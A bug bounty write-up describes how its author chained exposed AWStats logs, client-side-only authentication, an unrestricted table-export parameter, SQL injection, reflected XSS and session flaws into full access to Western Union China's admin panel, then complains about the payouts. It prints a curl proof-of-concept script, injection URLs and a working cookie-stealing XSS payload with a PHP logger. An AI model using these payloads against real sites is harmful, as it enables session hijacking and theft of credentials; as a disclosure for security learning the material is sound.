If you see the invisible

You can do the impossible

Western Union China // Bug Bounty

Western Union China vulnerability attack chain

INTRODUCTION


This write-up explains how a simple finding led to the discovery of multiple critical vulnerabilities in Western Union China’s system. Three weeks ago, after seeing their program on Bugcrowd, I started hunting for vulnerabilities. Within a few hours, I identified multiple issues that could be chained together, ultimately giving me complete access to their administrative backend.

Information Exposure


A standard directory/file brute-force revealed something interesting: westernunion.cn/awstats.pl.

For those unfamiliar, AWStats is a web log analyzer. It reads server logs and generates pretty statistics about traffic, referrers, browsers, and search keywords. The problem is that nobody thinks to secure it. "It is just statistics, what harm can it do?" Plenty.

An exposed AWStats installation is a goldmine for recon. Traffic stats are irrelevant. What matters is the metadata: referrer URLs with parameters, internal paths, admin endpoints, access patterns to restricted areas. It is a map of the infrastructure, served on a silver platter.

Exploiting this "gift", I was able to map the internal structure through simple filtering for extensions (.php, .zip, etc.) and generic paths like "admin". This led me to the administrative directory: Endpoints
http://westernunion.cn/wu_admin/login.php
http://westernunion.cn/wu_admin/import.php
http://westernunion.cn/wu_admin/edit.php
http://westernunion.cn/wu_admin/view.php
http://westernunion.cn/wu_admin/export.php
http://westernunion.cn/wu_admin/search.php
I had the map. Now I needed to get in.

Broken Access Control


The administrative endpoints at /wu_admin/ revealed a classic implementation anti-pattern that falls under OWASP: Broken Access Control: Client-Side-Only Authentication. The application appeared to have authentication (a login page, session cookies, a logout button), but the enforcement existed only on the client side. The server generated the full administrative interface, executed database queries, and processed file uploads regardless of authentication state. By ignoring the client-side redirect with cURL, I had immediate, unauthenticated access to every administrative function.

A direct request to /wu_admin/view.php returned the following: HTTP Request
GET /wu_admin/view.php HTTP/1.1
Host: westernunion.cn
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:37.0) Gecko/20100101 Firefox/37.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=fqgk2t3o85sumlu0vdlfdnr961
Connection: keep-alive

HTTP Response
HTTP/1.1 302 Found
Date: Mon, 20 Apr 2015 00:01:32 GMT
Server: Apache
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Pragma: no-cache
Location: login.php
Content-Length: 6148
Connection: close
Content-Type: text/html; charset=utf-8
A standard browser would follow the Location header and display the login page. But the server was already serving the full response body beneath the redirect. Using cURL without redirect following exposed the facade:
 WU-PoC.sh

#!/bin/bash
#  Name: Broken Access Control: Client-Side-Only Authentication
#  URL : WesternUnion.cn - Proof of Concept
#
#  +-------------------------------------+
#  | root@PwN:~# nc westernunion.cn 80   |
#  | GET /wu_admin/FILE.EXT HTTP/1.1     |
#  | Host: westernunion.cn               |
#  | Accept-Encoding: gzip, deflate      |
#  +-------------------------------------+
#
#  Author: Razvan Cernaianu (TinKode)

curl "http://westernunion.cn/wu_admin/$1" 2>/dev/null > $2
This gave me the complete administrative interface (navigation, forms, pagination, and database functionality) without ever providing credentials.

Arbitrary File Download


At this point, I had an internal map of the administration panel through Information Exposure, along with unrestricted access to it due to Broken Access Control. The next question was whether I could also get the admin credentials as a bonus.

This led me to /export.php.

This was not a typical export feature. It was essentially a phpMyAdmin-like interface built directly into the admin panel, a raw database interface disguised as a spreadsheet exporter. The UI provided a dropdown containing predefined tables, but the selected table parameter was passed directly into a database query, with the results returned as an .xls file.

The intended behavior was simple: each Western Union agent could export data only from their predefined tables. However, that restriction existed only in the UI. There was no server-side validation and no whitelist.

If it accepted a predefined table, what else would it accept? cURL Request
curl "http://www.westernunion.cn/wu_admin/export.php?table=information_schema.tables--+--"

HTTP Response
HTTP/1.1 302 Found
...
Content-Disposition: attachment;filename="20150420215741_information_schema.tables--+--.xls"
Content-Type: application/vnd.openxmlformats-officedocument.spreadsheetml.sheet
The server happily dumped the database schema into a downloadable Excel file. From there, enumerating the tables was trivial. One table immediately caught my attention: admin_manager.

I requested it. The response was a spreadsheet containing every administrator account for Western Union China, including usernames and passwords stored in plain text.

MySQL Injection


In bug bounty hunting, every valid issue matters, and more findings can mean a higher total reward. At this stage, having a valid authenticated session was no longer relevant. The entire attack surface was exposed, so I began testing for the usual vulnerabilities.

That search led me to edit.php.

The endpoint accepted three parameters: id, page, and table. Both id and table were vulnerable to MySQL injection. Because the endpoint was also affected by Broken Access Control, the injections could be exploited without authentication. URL
http://www.westernunion.cn/wu_admin/edit.php?id=1[SQLi]&page=0&table=cn[SQLi]
The impact was the same as with the Arbitrary File Download: full access to the underlying database, including the admin_manager table. This time, however, the same data was exposed through an entirely different attack vector.

Cross-Site Scripting


While testing the remaining endpoints, I identified reflected XSS in multiple locations. Let’s be honest: no pentest feels complete without stealing at least one cookie. Reflected XSS in view.php
http://westernunion.cn/wu_admin/view.php?page=5&view=1&table=kr[XSS]

Reflected XSS in search_show.php (POST)
http://westernunion.cn/wu_admin/search_show.php

POST: selected_table=kr[XSS]&page=&agent_id=1&...
The program requested a Proof of Concept demonstrating that an administrator’s session cookie could be stolen. I created a simple cookie grabber: grab.php
<?php
$cookie = $_GET['c'];
$fp = fopen('log.html', 'a');
fwrite($fp, 'Cookie: '.$cookie.'<br><br>');
fclose($fp);
?>
steal.html
<html>
<body>
<center>
<iframe width="100" height="0" src="http://westernunion.cn/wu_admin/view.php?page=5&view=1&table=<script>document.location='http://127.0.0.1/xss_poc/grab.php?c='%2bdocument.cookie;</script>"></iframe>
</center>
</body>
</html>
If an authenticated administrator visits steal.html hosted on example.com, their session cookie would be sent to the attacker’s server. The attacker could then replace their own PHPSESSID with the stolen value, refresh the page, and gain access to the admin panel. No password required.

Session Vulnerabilities

  • Missing Server-Side Session Invalidation on Logout
  • Session Fixation through Missing Session ID Regeneration
Missing Server-Side Session Invalidation
When an administrator logged out, only the browser cookie was removed, while the session remained active server-side. If their PHPSESSID was ever leaked through a public repository, logs, screenshot, or shared HTTP request, an attacker could simply reuse it to access index.php, even after logout. No credentials required.

Session Fixation
Session Fixation allows an attacker to force a victim to use a session ID already known to them. Using one of the XSS vulnerabilities identified earlier, an attacker could set their own PHPSESSID in an administrator’s browser. Since the application kept the same session before and after login, the attacker would gain administrative access as soon as the administrator signed in. You can read more about Session Fixation here.

Conclusion

Vulnerability Impact Payment
Information Exposure Medium $200
Broken Access Control Critical $0 (Duplicate)
Arbitrary File Download Critical $1,000
MySQL Injection Critical $1,000
Two XSS Vulnerabilities High $400
Multiple Session Vulnerabilities Medium $0 (Duplicate)
TOTAL: 2,600$
The Broken Access Control and Session vulnerabilities were rejected as duplicates simply because they were part of the same attack chain. Yet they had distinct root causes, exploitation methods, and impact.

Without the Broken Access Control, the other vulnerabilities remained exploitable by authenticated Western Union agents, malicious insiders, or attackers with valid credentials. With it, any external attacker could access the vulnerable administration panel without authentication. It did not duplicate the other findings. It removed their access requirements and amplified their impact.

The Information Exposure was rated Medium and rewarded with $200 based on its generic vulnerability impact, while its actual business impact, exposing the administration panel and enabling the entire attack chain, was ignored.

Eight vulnerabilities, three Critical, two High, and three Medium, earned only $2,600. That is barely half the program’s advertised $5,000 maximum for a single vulnerability.

This is not directed at Western Union as a company, but at the people responsible for evaluating these reports and deciding how they would be classified and rewarded. To them, a sweet and well-deserved FUCK YOU.

Update 2026


During that period in 2015, I reported 25+ vulnerabilities, including multiple P1 findings, across seven Western Union domains and received at least $5,300, roughly the maximum advertised reward for a single P1. After that, I stopped looking for vulnerabilities in their program.

On April 17, 2025, the program was officially completed. I reached 1st place with 247 points and still hold that position in their Hall of Fame, 10+ years later.
Vulnerability Domain Impact Payment
Old, Backup and Unreferenced File with Root Database Credentials MyWU.com P1 $500
Publicly Accessible wp-config.php Backup with Database Credentials MyWU.com P1 $1,000
WordPress XML-RPC Authentication Brute Force MyWU.com P4 $100
Full Path Disclosure via WordPress Debug Notice MyWU.com P4 $100
Full Path Disclosure via WPML Error MyWU.com P4 $100
Apache mod_negotiation Backup File Disclosure MyWU.com P4 $200
Reflected XSS via HTTP Referer MyWU.com P4 $100
Cross-Site Scripting in WPML Plugin MyWU.com P4 $100
Unprotected Database Export Utility MyWU.com P4 $200
Publicly Accessible Backup with Source Code and Database Credentials MyWU.com P4 $300
Cross-Site Scripting WesternUnion.tw Unavailable Unavailable
Cross-Site Scripting locations.WesternUnion.com Unavailable Unavailable
Cross-Site Scripting online.WesternUnion.com Unavailable Unavailable
MySQL Injection MyWU.com Unavailable Unavailable
Source Code Disclosure WesternUnion.co.jp Unavailable Unavailable
Information Disclosure ibl.globalpay.WesternUnion.com Unavailable Unavailable
CONFIRMED TOTAL: $2,700
Reports marked as Unavailable were either duplicates or erased from the Bugcrowd system.

So yes, this is one of many reasons why hundreds of capable researchers have stopped doing bug bounties.
TinKode// Infamous Ethical Hacker